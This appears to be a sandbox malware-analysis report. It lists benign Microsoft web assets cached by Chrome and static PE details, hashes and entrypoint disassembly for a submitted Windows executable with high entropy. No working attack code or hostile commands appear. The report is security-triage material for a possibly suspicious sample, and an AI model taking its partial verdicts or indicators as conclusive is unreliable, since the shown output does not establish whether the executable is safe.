Preview:	.custom-sticky-nav .hidden-visibility{visibility:hidden}..custom-sticky-nav.stuck .hidden-visibility{visibility:visible}..custom-sticky-nav.stick{position:fixed;top:0;left:0;right:0;width:100%;z-index:1020;transition:position .3s ease-in-out}..Inpagenavigation .hide-on-load .fixed-sticky,.Inpagenavigation .hide-on-load .sticky,.custom-sticky-nav .nav-item.active::before{display:none}.@media only screen and (min-width:620px) and (max-width:642px){.custom-sticky-nav:not(.stuck) .windows-mobile li .dropdown .dropdown-menu.menu-height{height:100px;overflow-y:scroll}..Inpagenavigation .custom-sticky-nav.stuck .windows-inpage-nav ul.nav-links-mobile-fall li.active ul.dropdown-menu{height:100px;overflow-y:scroll}.}.@media only screen and (max-width:320px){.custom-sticky-nav.stuck .windows-inpage-nav .windows-mobile .dropdown .dropdown-menu,.custom-sticky-nav.stuck ul.nav-links-mobile-fall .dropdown .dropdown-menu{height:70px !important;overflow-y:scroll !important}.}..Inpagenavigation .hide-o

Chrome Cache Entry: 475

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 594 x 332, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	15286
Entropy (8bit):	7.920093772155082
Encrypted:	false
SSDEEP:	384:PBOSXIcsH16kp+153RInfDCuhcuCMmr+sAY:ADcsUs+7SfDJhcuCM0zAY
MD5:	B1266F754B66F7B007B60511E2A2C4A0
SHA1:	2A7A404B98732BDEB9CD63C7A672AC0011788AEB
SHA-256:	B0A544B82B7B83A42F0AEC9C46909290726F4F57BF437264FBE0CB17C2827B7B
SHA-512:	676C337E3B4A1C22D52C5000ED8ABF0E233C558C7B46A690CEC8ED26C76D2C6DAF265EBCBC51FB9B863A8D4E381ADA5859D4EEEC4DF30150C7FBA3B5F5DF8DC0
Malicious:	false
URL:	https://support.content.office.net/en-us/media/ccb7c2a6-17dd-4cc3-88b7-8da966e59f59.png
Preview:	.PNG........IHDR...R...L.......R.....pHYs...%...%.IR$.....sRGB.........gAMA......a...;KIDATx..{.-WU..-m).V.....b....&Fm.Fm...!Z..l)R.T!.a.(.QQ...U.gI..H.B...hy..-.O./.....:.....={....\|..s..={....=k......~(...."..8..=e..4...>....m...i..t...}..-M.kd.c\b[...G.p...P..:&.@qbBS..!L..`>.RP=K...&...slX.S..t_)..L.....z.....u.[?.\|.c..p>....r.UH-.9.,.>.cl.\t1...$..TWy..8......@!.b..:m...`Y,..06C.M...[.j....@?.H..Xn.F.4U.R-S5........l.\.....r.e.j...:..P'.)..%.Tn...g....N......M0.L.&R.H....L.....J.Oj.S.....0?.-RK....hs.g......X]..uS,R.c.C.[/..m....U..\C..y......E.B.H.G...[.......TE..BD...TM..)......MQK.R.gb.S.....@HU.....b...<...#.....K.?"..`..)..c..6.Q.r.T....`<.R3.%j..Ig`.....\..e..`Z.R.=.Sp.........Bj.....2..C....n.?.....(IQ!...L..T+..R.Z...#..vmn...).8.}7....@e..@G4....B..........AHA..]...,.V).!..L.B*..'..RI7..`<.R.3QB.......(.B.`a.o....P...;......1..`..\.s.....)uKmk.KX3.m....f...0.....d.l..@...I.....:......7$.E...m.....P....B.;.....P....B@.....B..2..S....

Chrome Cache Entry: 476

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	557
Entropy (8bit):	5.017920631493034
Encrypted:	false
SSDEEP:	12:DEARGUGLqcidEEblemSFxEARuWGBUGLqcSWGBdEEbleeESFZ:D1Jcsl21uWHcSWilv
MD5:	A722775809D2312F435036DEF15BCD62
SHA1:	2C6CF2D7ED0D1810B6C96269A4509071575E5771
SHA-256:	4DF68C42ED06B94BC6C7655FFA3F84487DCF88F2452B8BF43C217427E36E31A2
SHA-512:	3A4325C787C32BB7373B73CF419E94200167AA7CF2E689E4E1F8D46C8D9DE7607A4EAA3A346F25C3711723A30C678DE61F8813EBF81EEB66EA536968825F6B43
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/microsoft/components/content/back-to-top-button/v1/back-to-top-button/clientlibs/sites.min.ACSHASHa722775809d2312f435036def15bcd62.css
Preview:	@media screen and (max-width:540px){.sticky.back-to-top.stuck{position:static}.}.@media screen and (min-width:540px){.sticky.back-to-top.pageHasChatContainer{bottom:32px !important;left:12px}.}.div.backToTopEditView[data-mount='back-to-top']{opacity:1 !important}.@media screen and (max-width:540px){.fixed-sticky.fixed-back-to-top.stuck{position:static}.}.@media screen and (min-width:540px){.fixed-sticky.fixed-back-to-top.pageHasChatContainer{bottom:32px !important;left:12px}.}.div.backToTopEditView[data-mount='fixed-back-to-top']{opacity:1 !important}

Chrome Cache Entry: 477

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (30237)
Category:	downloaded
Size (bytes):	30289
Entropy (8bit):	5.260974426031687
Encrypted:	false
SSDEEP:	768:u2E2n0SMB/2ZsJIjrAWJdvgmfQFc6mjVqMP62A86uIz3yR:u1M0S0/ks2JdImYFcw662A86vzyR
MD5:	F04D3E51969894BD486CD9A9A1549EA6
SHA1:	6DB7ED2E034FE99F5013144CA91DD21408F7AC36
SHA-256:	33A747222E8AE5381AEB53C9671BB3EB309B7226587674CD6D901F99645A852B
SHA-512:	C7BE3DAB8EF8DBCB3A0AA6022F8191F155358E4E974F0E42F9CD88C372EE77EB4513A6CC54E373CFE90232D67C6B02406B4D281D8158C24B51C8AA433452911C
Malicious:	false
URL:	https://mem.gfx.ms/meversion?partner=SMCConvergence&market=en-us&uhf=1
Preview:	window.MSA=window.MSA\|\|{};window.MSA.MeControl=window.MSA.MeControl\|\|{};window.MSA.MeControl.Config={"ver":"10.24228.4","mkt":"en-US","ptn":"smcconvergence","gfx":"https://amcdn.msftauth.net","dbg":false,"aad":true,"int":false,"pxy":true,"msTxt":false,"rwd":true,"telEvs":"PageAction, PageView, ContentUpdate, OutgoingRequest, ClientError, PartnerApiCall, TrackedScenario","instKey":"b8ffe739c47a401190627519795ca4d2-044a8309-9d4b-430b-9d47-6e87775cbab6-6888","oneDSUrl":"https://js.monitor.azure.com/scripts/c/ms.shared.analytics.mectrl-3.gbl.min.js","remAcc":true,"main":"meBoot","wrapperId":"uhf","cdnRegex":"^(?:https?:\\/\\/)?(mem\\.gfx\\.ms(?!\\.)\|controls\\.account.microsoft?(?:-int\|-dev)?(\\.com)?(:[0-9]{1,6})\|amcdn\\.ms(?:ft)?auth\\.net(?!\\.))","timeoutMs":30000,"graphv2":false,"graphinfo":{"graphclientid":null,"graphscope":null,"graphcodeurl":null,"graphredirecturi":null,"graphphotourl":null},"aadUrl":"https://myaccount.microsoft.com","msaUrl":"https://account.microsoft.com/","authA

Chrome Cache Entry: 478

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	1856
Entropy (8bit):	7.66253735044461
Encrypted:	false
SSDEEP:	48:+cKYjwwYoq1ZaDlcbtaPm2/BlI8Jwgi+4Eo8THBpb6/0jIi:+cLjDm1ZilAaPvBndjBcSIi
MD5:	E6B13CABB550DC7631FBC986BF17E263
SHA1:	F2A7E1A5161FFF94CFF6B4EF076C066E6BB940B8
SHA-256:	9AF840DAC4C36B88F77152BEF3AD683967263671F8EFFB6591ADF0EDDA8DD2F4
SHA-512:	FCD32FBD73702BE7B4ACBB9EB311A378691D8C26080048257545920435A8F7007AA5FFEA19E748A843FCE979C0CD3C30D447A614A46DA2168AEB2362A421A0E8
Malicious:	false
URL:	https://cdn-dynmedia-1.microsoft.com/is/image/microsoftcorp/windows-commercial-blog-RE1YzgR?fmt=png-alpha&wid=64&hei=64
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm..........iloc....D................&...(iinf..........infe........av01Color....jiprp...Kipco....ispe.......@...@....pixi............av1C........colrnclx...........ipma...................mdat.............2......+#..\.l...11..y........].... .....;k.#.k.t.B...Q....7...pv.b.....z..B.3..o..M.P.H .b...c......m....vC.j.....kFJ..a..../.rz<...gPIz......z.......D$..E....0.E....R.8.2O..t....K...x... .....5....T\|K..vzbGU0...s...IX..2..$.{..}.-.GL..%.{"....\|).C.&RL.I...D....A.']...V\JWA....}..m...i.;DNn..%.5..b...A..q!ye.s.q...].....k..._]}.8r.....&j...>.j~.@c3..,.Z.2?'.08F#..#D......'Q......R)}..6%..v.y...+R.zj.{7..1....(..\..[I.....-....u..$...h.^....J.....k..``..:....H&...&.l."%.@h.T{...P..<Tc......?$.xK.D.....R........._.LO(...<.&...&.......?...u.7..Xi.z.2..:LU..4...s6.O.}r....ntB.u<2.c.x..HRJl.dH.j...."9.,....9*..]..m..y..... ..h..).zd-/.(+.x......-q.9..MnN..Y 1_..fj.+%b.

Chrome Cache Entry: 479

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text, with very long lines (1998)
Category:	dropped
Size (bytes):	530473
Entropy (8bit):	5.1558754449004525
Encrypted:	false
SSDEEP:	12288:cJpYYYb5T2ZggigVl1e/zXJ5lbgutNPzedZTyatWYLe8dZshIw:cJpYb5T2Zggigv1e/zXJLbgunzedZTyT
MD5:	13ABF4CF4F8384D04A599349524DBBAD
SHA1:	BD1EE95DB4A6E7A1EE1937F47AD7C5B6D7633465
SHA-256:	3E7CE05C8874B9F3628300101F40878DF98F23A09CD4ECC9C9E5CC8067D9068A
SHA-512:	4FCA93D865844FFF1A452B343F75ED786111F1E508505DD841F954159A42E5B9CB587FDC8ADEEA431A14CD042FC4CF16305416CE4CA0C1E9D5E66803C2BD03A7
Malicious:	false
Preview:	./!. MWF (Moray) Extensions v2.15.1. * Copyright (c) Microsoft Corporation. All rights reserved.. * Copyright 2011-2022 The Bootstrap Authors and Twitter, Inc.. * Copyright .2022 W3C. (MIT, ERCIM, Keio, Beihang).. */..(function (global, factory) {..typeof exports === 'object' && typeof module !== 'undefined' ? factory(exports) :..typeof define === 'function' && define.amd ? define(['exports'], factory) :..(global = typeof globalThis !== 'undefined' ? globalThis : global \|\| self, factory(global.mwf = {}));.})(this, (function (exports) { 'use strict';...var commonjsGlobal = typeof globalThis !== 'undefined' ? globalThis : typeof window !== 'undefined' ? window : typeof global !== 'undefined' ? global : typeof self !== 'undefined' ? self : {};...var check = function (it) {.. return it && it.Math == Math && it;..};...// https://github.com/zloirock/core-js/issues/86#issuecomment-115759028..var global$a =.. // eslint-disable-next-line es/no-global-this -- safe.. check(typeof globalTh

Chrome Cache Entry: 480

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 3 icons, 48x48, 32 bits/pixel, 32x32, 32 bits/pixel
Category:	downloaded
Size (bytes):	15086
Entropy (8bit):	3.5381675180416146
Encrypted:	false
SSDEEP:	48:jkOEEEEEEEEEEEEEEEEEEEE9dddddddddddddrSXdFhEF:jVSh4
MD5:	572BCA271094D6C9B04351541A1181B7
SHA1:	492CA901E4541C05D5CBC28900E637BE0845E929
SHA-256:	10C8A1BC3DF4C706A4A58560FE08D94032ED275E640DB4DDA43D892986DA9FF3
SHA-512:	A3FE8691E54EDAF367B0111CD5A2CAA1D50F7BE76159805097B5A4A62617FCF21FF7BB93679FE9A4EF2B376052754E189DFC789067878D5D834BCC437F083858
Malicious:	false
URL:	https://support.microsoft.com/favicon.ico
Preview:	......00.... ..%..6... .... ......%........ .h....6..(...0...`..... ......$.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 481

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (889)
Category:	downloaded
Size (bytes):	92962
Entropy (8bit):	5.482012211093105
Encrypted:	false
SSDEEP:	1536:wB4vGoYlmQr+IDv1Ty/6RsSz5TGF/46nNUgDbC03vu9FnHKDfa6Z/VUhdIKq6Tjv:wqxNrNG9FnHKD/oIKq6Tjv
MD5:	35986A813756F39AB6B922979FFEDB03
SHA1:	C8E2213BBAFAF535DA9C6676F3DBA43449E4D15A
SHA-256:	E2D92BDAAD925C6D355331A338384EE3FF82492352975DD4EFDA791AEF4AB3F5
SHA-512:	289F1C432E73F611D54EB1130013174174222A0C5EEF8E2464C5FD51EE33DC702326EEECA80B2AAE213DB2FCCB149297FC37CC9A0B6CF6E928A66BC27843F930
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/cascade.component.authoring/clientlibs/clientlib-jquery.min.ACSHASH35986a813756f39ab6b922979ffedb03.js
Preview:	/. jQuery JavaScript Library v3.5.1. https://jquery.com/.. Includes Sizzle.js. https://sizzlejs.com/.. Copyright JS Foundation and other contributors. Released under the MIT license. https://jquery.org/license.. Date: 2020-05-04T22:49Z. Sizzle CSS Selector Engine v2.3.5. https://sizzlejs.com/.. Copyright JS Foundation and other contributors. Released under the MIT license. https://js.foundation/.. Date: 2020-03-14./.'use strict';(function(H,Sa){"object"===typeof module&&"object"===typeof module.exports?module.exports=H.document?Sa(H,!0):function(Ta){if(!Ta.document)throw Error("jQuery requires a window with a document");return Sa(Ta)}:Sa(H)})("undefined"!==typeof window?window:this,function(H,Sa){function Ta(a,b,c){c=c\|\|M;var d,f=c.createElement("script");f.text=a;if(b)for(d in Kc)(a=b[d]\|\|b.getAttribute&&b.getAttribute(d))&&f.setAttribute(d,a);c.head.appendChild(f).parentNode.removeChild(f)}function Ia(a){return null==.a?a+"":"object"===typeof a\|\|"function"===typeof a?db[Ob.call(a)]

Chrome Cache Entry: 482

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (309), with no line terminators
Category:	downloaded
Size (bytes):	309
Entropy (8bit):	4.971196656935236
Encrypted:	false
SSDEEP:	6:QuVtCiR2cIT53AM+64uT7nadCkq9KwhA6ONHSInadLb1wnzjCY1ee:jVtCyB4w1cWdYpAfVSVdLa8e
MD5:	D7106DB242C2B41F88A1B02418BEC7E2
SHA1:	7A445118F0B5712744AA4AED6889B28C1E7779F7
SHA-256:	044527A735B287BD84D2AE6D2D3B89C85B52C9750BB07E5AEF19FB8F28F0442B
SHA-512:	C493FBD6926006108E56E23BB204BFE59A7364ED6D2409B5B258D9EA6C060259E13A7E7A22021607F6EDD55EEA52C75DFE7FCF18BB76D6E539FBD763BF399185
Malicious:	false
URL:	https://www.microsoft.com/etc.clientlibs/cascade.component.authoring/dynamicclientsidelibs/handlerscripts/v1.min.ACSHASHd7106db242c2b41f88a1b02418bec7e2.js
Preview:	'use strict';var DynamicClientSideScriptHandler=function(){return{fetchScriptLink:function(b){var a=(a=document.querySelector('div[data-identifier\x3d"'+b+'"]'))?a.getAttribute("data-content"):null;null===a&&(a=(b=document.querySelector('meta[name\x3d"'+b+'"]'))?b.getAttribute("content"):null);return a}}}();

Chrome Cache Entry: 483

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 150177
Category:	dropped
Size (bytes):	52015
Entropy (8bit):	7.9952734547685935
Encrypted:	true
SSDEEP:	1536:vJhGm+7PUzhQu7xb5fpuSijlAVYYHNkPyJvs:RoA9l7FPRuAVYYHiPyJvs
MD5:	5F28D22CDF37837FA88F08A2050983AF
SHA1:	2FC8592FB2E4BE8193919AD56EE8588B24E7C0BE
SHA-256:	6E207B57EF73C7406D23E2533231E94B58B3C52AC63D208EC6664B152EC5B544
SHA-512:	DD526C86ACD7D940E54F9F6F848F03A4881DF9E17A067E7231E3D1765D846D0741FAFA8D7C89395B644CB6E0CB71098807411A0F534EA148379D23D31A032104
Malicious:	false
Preview:	...........k[.H.0........F._...q.UE7....s..m..%$.I.....q.L.d....g....HyWdDdDdd...+.U....................9...vzvy.....`....C...A.....K.Q-.jqR..a.L........I...q.?...6I.?.a... ........%...d/..s.....Zp.DP{.O^..!.Eq.........^..M.......C.$.&q...Z.....:I..^..y._K..6....Q....h5.n........48..._.. .!N...X'...6.....8.Z..^..}.=At_..=........F.aV/\|f.'O8.0..P<...R.{..:..i.R.O..A...............Tu.R..'0..2..Y<..!.-5...~].A..g.G...i.l5....F..,.....}.=L..a..1......._..F....N..L..1...O.0..A......\..Q.....g.}Y..h......?..$....4...L...ZdF..'.....;p.........{.^.v.wA=......Y..\..............?x..s. ...L.!......_'.....d.>....X6>.... ..y.w5...4i......E-.WW..9....5....83-...tgs;vgM.1.((...`l&.....4.j.\.4.:L;T..$w.8..:+M[d:...#*.X....vf.../........(.o........^.x/ZF..h/...3._c.wc..B......`n..\....$...K....z...,y!...W..b.WLEb.....oX.....4%.S$..nZ..H.........l..x......&vD.S.&...l.6 .H.....\|>....].u\|;..taJ^.0Jk.-fZ...!...[.(..8...7r.o.......Cbi.K...{.M.........)}DJF<.W..

Chrome Cache Entry: 484

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (42133)
Category:	dropped
Size (bytes):	138067
Entropy (8bit):	5.225028044529473
Encrypted:	false
SSDEEP:	3072:1f4HuF7pxnISnJ9d1EwgXA7nKRZMK/xw/:1f4Hu1I+kw/
MD5:	B9C3E4320DB870036919F1EE117BDA6E
SHA1:	29B5A9066B5B1F1FE5AFE7EE986E80A49E86606A
SHA-256:	A1FE019388875B696EDB373B51A51C0A8E3BAD52CD489617D042C0722BDB1E48
SHA-512:	A878B55E8C65D880CDF14850BAEE1F82254C797C3284485498368F9128E42DCA46F54D9D92750EEEB547C42CAB9A9823AA9AFAB7D881090EBBFA1135CDD410B6
Malicious:	false
Preview:	(function(){/*. @license almond 0.3.3 Copyright jQuery Foundation and other contributors.. * Released under MIT license, http://github.com/requirejs/almond/LICENSE. /.var requirejs,require,define,__extends;(function(n){function r(n,t){return w.call(n,t)}function s(n,t){var o,s,f,e,h,p,c,b,r,l,w,k,u=t&&t.split("/"),a=i.map,y=a&&a[""]\|\|{};if(n){for(n=n.split("/"),h=n.length-1,i.nodeIdCompat&&v.test(n[h])&&(n[h]=n[h].replace(v,"")),n[0].charAt(0)==="."&&u&&(k=u.slice(0,u.length-1),n=k.concat(n)),r=0;r<n.length;r++)if(w=n[r],w===".")n.splice(r,1),r-=1;else if(w==="..")if(r===0\|\|r===1&&n[2]===".."\|\|n[r-1]==="..")continue;else r>0&&(n.splice(r-1,2),r-=2);n=n.join("/")}if((u\|\|y)&&a){for(o=n.split("/"),r=o.length;r>0;r-=1){if(s=o.slice(0,r).join("/"),u)for(l=u.length;l>0;l-=1)if(f=a[u.slice(0,l).join("/")],f&&(f=f[s],f)){e=f;p=r;break}if(e)break;!c&&y&&y[s]&&(c=y[s],b=r)}!e&&c&&(e=c,p=b);e&&(o.splice(0,p,e),n=o.join("/"))}return n}function y(t,i){return function(){var r=b.call(arguments,0

Chrome Cache Entry: 485

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (34235), with CRLF, LF line terminators
Category:	dropped
Size (bytes):	100769
Entropy (8bit):	5.246112939487446
Encrypted:	false
SSDEEP:	3072:nmwNxXC4Pn+lnTKxKdzW7I1m7H+8l9ut+EVe/EdnoEnsJ:mwFwTXqwe/EdnoEnsJ
MD5:	6FE3DD83A0D98BC1977F57EA33C37693
SHA1:	8DF606F40E4CC8C07CE929D5A82FD5304EAF4EB7
SHA-256:	A5268A183F2A091D2D17773997E89A25FC45CBD60E586EDF61F544FB85D6F6A8
SHA-512:	B81C2EB3BFA8ECF1FFCBB24E4A776CD2B083460A0AC53213EAF48997AC27BB20F49CEFF3A098AEBA33B3AD4F74CA86B5018AFE6689A260F011DF4249029CE78B
Malicious:	false
Preview:	MeControlDefine("meCore",["exports","@mecontrol/web-inline","@mecontrol/web-boot"],function(e,f,h){"use strict";var r=function(e,t){return(r=Object.setPrototypeOf\|\|{__proto__:[]}instanceof Array&&function(e,t){e.__proto__=t}\|\|function(e,t){for(var n in t)t.hasOwnProperty(n)&&(e[n]=t[n])})(e,t)};function t(e,t){function n(){this.constructor=e}r(e,t),e.prototype=null===t?Object.create(t):(n.prototype=t.prototype,new n)}var d=function(){return(d=Object.assign\|\|function(e){for(var t,n=1,r=arguments.length;n<r;n++)for(var o in t=arguments[n])Object.prototype.hasOwnProperty.call(t,o)&&(e[o]=t[o]);return e}).apply(this,arguments)},s=function(){},i={},u=[],l=[];function v(e,t){var n,r,o,i,a=l;for(i=arguments.length;2<i--;)u.push(arguments[i]);for(t&&null!=t.children&&(u.length\|\|u.push(t.children),delete t.children);u.length;)if((r=u.pop())&&void 0!==r.pop)for(i=r.length;i--;)u.push(r[i]);else"boolean"==typeof r&&(r=null),(o="function"!=typeof e)&&(null==r?r="":"number"==typeof r?r=String(r):"s

Chrome Cache Entry: 486

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (584)
Category:	dropped
Size (bytes):	6798
Entropy (8bit):	5.383941368080596
Encrypted:	false
SSDEEP:	192:2+ocdo4VYgB9G/0y/qhNJ5k4iflBDHndCjOGGWr:2+ocdo4B7G/0yyNSflhndCjOGGA
MD5:	1DABD5CC3F7B68C178B59EA74DC62947
SHA1:	B8DF9D8FD267B8B74325667DC97278CCC90A1464
SHA-256:	E49EFB0A75AF4995902362EA679A0FC4EB120A881A090CB8424D5CBD183436A2
SHA-512:	8C26E45CA37AC5DCCCC0C7BBCA92E0E8E11FB807A6D9A6916D5A0CC1CF198A7942DD5583C31ACBD1A11DDE004C252806D205E9CFDA7F494A6F7D5BBFA42920E4
Malicious:	false
Preview:	'use strict';(()=>{function m(f){var e=G[f];if(void 0!==e)return e.exports;e=G[f]={exports:{}};return I[f](e,e.exports,m),e.exports}var I={1623:()=>{$(function(){function f(){-1!==document.cookie.indexOf("".concat("Cascade.AuthSSO","\x3d"))&&(document.cookie="".concat("Cascade.AuthSSO","\x3d; expires\x3dThu, 01 Jan 1970 00:00:00 UTC;"))}function e(){var a=function(){var d=document.cookie.match(/(^\|;\s)(Cascade.AuthSSO)=([^;])/);return d?(d=parseInt(decodeURIComponent(d[3])),!isNaN(d)&&d>n.DefaultAttempted?.n.SharedStateAttempted:n.DefaultAttempted):n.NotAttempted}(),c=!(!window.msauthRpsShare\|\|b.accountConstraint===w.AAD);if(a===n.NotAttempted\|\|c&&a!==n.SharedStateAttempted)!function(d){$("#".concat("cascadeauthsso")).remove();var g=document.createElement("iframe");g.src=d;g.setAttribute("width","0");g.setAttribute("height","0");g.setAttribute("border","0");g.setAttribute("frameborder","0");g.setAttribute("style","display: none");g.id="cascadeauthsso";document.body.appendChild(g)}(""

Chrome Cache Entry: 487

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ISO Media, AVIF Image
Category:	downloaded
Size (bytes):	1511
Entropy (8bit):	7.546904014107004
Encrypted:	false
SSDEEP:	24:+cKYj6LRzSxmP4ww/XU/7kC+p31fhQNkYhNlxjvhVBuEJQBdWOVGL:+cKYjwRUQ4wMUz+p31fhQnJ3oEmXVGL
MD5:	B7DD33E310D8987052E9ABCBFA76577C
SHA1:	1837ED570EC7B00E7CB5521A09008D991F62AD63
SHA-256:	325AA5BD6A3765B7D95E9B6E59E19D448D2D4EDCBC03120A92107B360B76F75C
SHA-512:	64FF9639BA4BA7D5D166C6BEECB52F986A2F8B72652BE20F03C20798A886D2BAA441A8611965B7B33ED1D7EED58B294659E8A605F49306FCDA5C6298164FCCD8
Malicious:	false
URL:	https://cdn-dynmedia-1.microsoft.com/is/image/microsoftcorp/windows-commercial-support-RE1YrGS?fmt=png-alpha&wid=64&hei=64
Preview:	... ftypavif....avifmif1miafMA1B....meta.......(hdlr........pict............libavif.....pitm..........iloc....D....................(iinf..........infe........av01Color....jiprp...Kipco....ispe.......@...@....pixi............av1C........colrnclx...........ipma...................mdat.............2........b..;<}K....\|,f.)\<7.s...o1."S.....kD._c...%Y....h..>K...NP.'0.X.lTs..Q*.Ra..r......x1...U.x.......&.m.....3......O.8....U.,..=ar.A.9..z.3.s..>?....5;.....B...~.......V.v..r.7lA.o.V.D...dBm......$F..}..Jr.da..k...z.t...4.-...YX...].\|.....HX..D.vW).4..D.-.^.7X..wn...N.M..h..B,bq...z...%.9Z.....a...T.....(.~2.@.\|.J.....z...E$}..].\.9o.u....R=....`...@.....y.m..Qj...!R#.q.m..w.2.O.A.qQ......G....gk.........S.Yrz....Jh....t..~....0.{9.%)...e.jQ..}QX..w....<E=-.#.4.}...pI.`..g.8..c.(.-.@h..Q....z.&e..!...=...... 2Y.v..[.h....`.....n..e..f4{....j.2..:..`+S.hK...sgm............oCGsm.....h5'.L.S.Io..1......).B1'..>...3..... .T?.W..(e.."..r!REo8J-.@.w.Z.:....4...J

Chrome Cache Entry: 488

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (3385), with no line terminators
Category:	downloaded
Size (bytes):	3385
Entropy (8bit):	5.293928956465786
Encrypted:	false
SSDEEP:	96:W4zB+C3yvyE14QHzsyTz4n/2yx/2ydgC2ZPXOMs9:Wy+C3y6k4QPItzqC2xXOMs9
MD5:	838B4CF03009164350BEE28EC54B1B28
SHA1:	7289901F526CD15984F080E40BBF8B8B6098EB73
SHA-256:	70C7CD74052E7BB3716548F7748B7FBF90C8BB39B0F688495B5D3D8974295A72
SHA-512:	48763334DD0DE579917B94CC53A7D002AFF1D5EF46D2D4BEA8991B05ACB355CD67A21495751EDCB89DFB0A6AE3F773419DAFF49A6DFE9EA48CC8E80BCBF99BF1
Malicious:	false
URL:	https://support.microsoft.com/css/StickyFeedback/sticky-feedback.css?v=cMfNdAUue7NxZUj3dIt_v5DIuzmw9ohJW109iXQpWnI
Preview:	.supStickyFeedback{position:fixed;width:100%;bottom:0}.supFeedbackFullTextIsOpen{height:222px}#ocHelp{min-height:75%}#supWrapperToPreventFeedbackFlickering{min-height:59px}.ocSmartFeedbackBegin{height:38px}#supFeedbackWrapper{background-color:#f2f2f2;max-width:none;z-index:10000}#supColumnWrapper{padding:11px 0 10px;border-bottom:1px solid #cecece}#supDisableStickyFeedbackButton{position:absolute;top:0;right:15px;font-size:1.4em;text-decoration:none}html[dir=rtl] #supDisableStickyFeedbackButton{left:15px;right:auto}html[dir=rtl] .ocFeedbackButton{margin:12px 0 0 5px}html[dir=rtl] .ocSmartFeedbackReply{text-align:right}#ocMainContent{min-height:100%}.ocFeedbackButton{min-width:62px;height:28px;font-family:"Segoe UI","Segoe UI Web","wf_segoe-ui_normal","Helvetica Neue",Helvetica,Tahoma,"BBAlpha Sans","S60 Sans",Arial,sans-serif;font-size:15px;font-weight:normal;color:#313131;display:inline-block;text-align:center;text-decoration:none;border:1px solid transparent;background-color:rgba(0,0

Static File Info

General

File type:	PE32+ executable (GUI) x86-64, for MS Windows
Entropy (8bit):	7.998221661432658
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	T1#U52a9#U624b1.0.1.exe
File size:	38'135'059 bytes
MD5:	477d3b9ee775c048f96b450dd00ba490
SHA1:	81f1991882b1bf1cb4b169da6c94b772517ab1eb
SHA256:	799084320848500fef5673799157b94c1db7b74f9651ffe0af326051973cf490
SHA512:	f537425e54a310723ba57d77b147af4dda06cc6eef1a51fdd16374e4696089e95dfa6e8a20188fa6167e2504628a3d31bff17dbf7bde5db5442761a271e43c1a
SSDEEP:	786432:lQLDyaGdLEb0s4mkpLirq7P/aSL7plE7xEh+W:lQLDJl2mkpLsq7naSL1lwxER
TLSH:	0F87331AF27B7194FD70A4BE41E54D74CA77A216C36D848F82A4320F4F93886EA77B44
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........6...W...W...W.../...W.../..1W.../...W...+...W...+...W...+...W...+...W.../...W...W...W..3+...W..3+...W..Rich.W.................

File Icon


Icon Hash:	381ca9998cacbebe

Static PE Info

General

Entrypoint:	0x14000b310
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE
Time Stamp:	0x67659260 [Fri Dec 20 15:50:56 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	2
File Version Major:	5
File Version Minor:	2
Subsystem Version Major:	5
Subsystem Version Minor:	2
Import Hash:	0b5552dccd9d0a834cea55c0c8fc05be

Entrypoint Preview

Instruction
dec eax
sub esp, 28h
call 00007FB2F8DA076Ch
dec eax
add esp, 28h
jmp 00007FB2F8DA037Fh
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
int3
dec eax
sub esp, 28h
call 00007FB2F8DA0CE4h
test eax, eax
je 00007FB2F8DA0523h
dec eax
mov eax, dword ptr [00000030h]
dec eax
mov ecx, dword ptr [eax+08h]
jmp 00007FB2F8DA0507h
dec eax
cmp ecx, eax
je 00007FB2F8DA0516h
xor eax, eax
dec eax
cmpxchg dword ptr [0004121Ch], ecx
jne 00007FB2F8DA04F0h
xor al, al
dec eax
add esp, 28h
ret
mov al, 01h
jmp 00007FB2F8DA04F9h
int3
int3
int3
inc eax
push ebx
dec eax
sub esp, 20h
movzx eax, byte ptr [00041207h]
test ecx, ecx
mov ebx, 00000001h
cmove eax, ebx
mov byte ptr [000411F7h], al
call 00007FB2F8DA0AE3h
call 00007FB2F8DA1C12h
test al, al
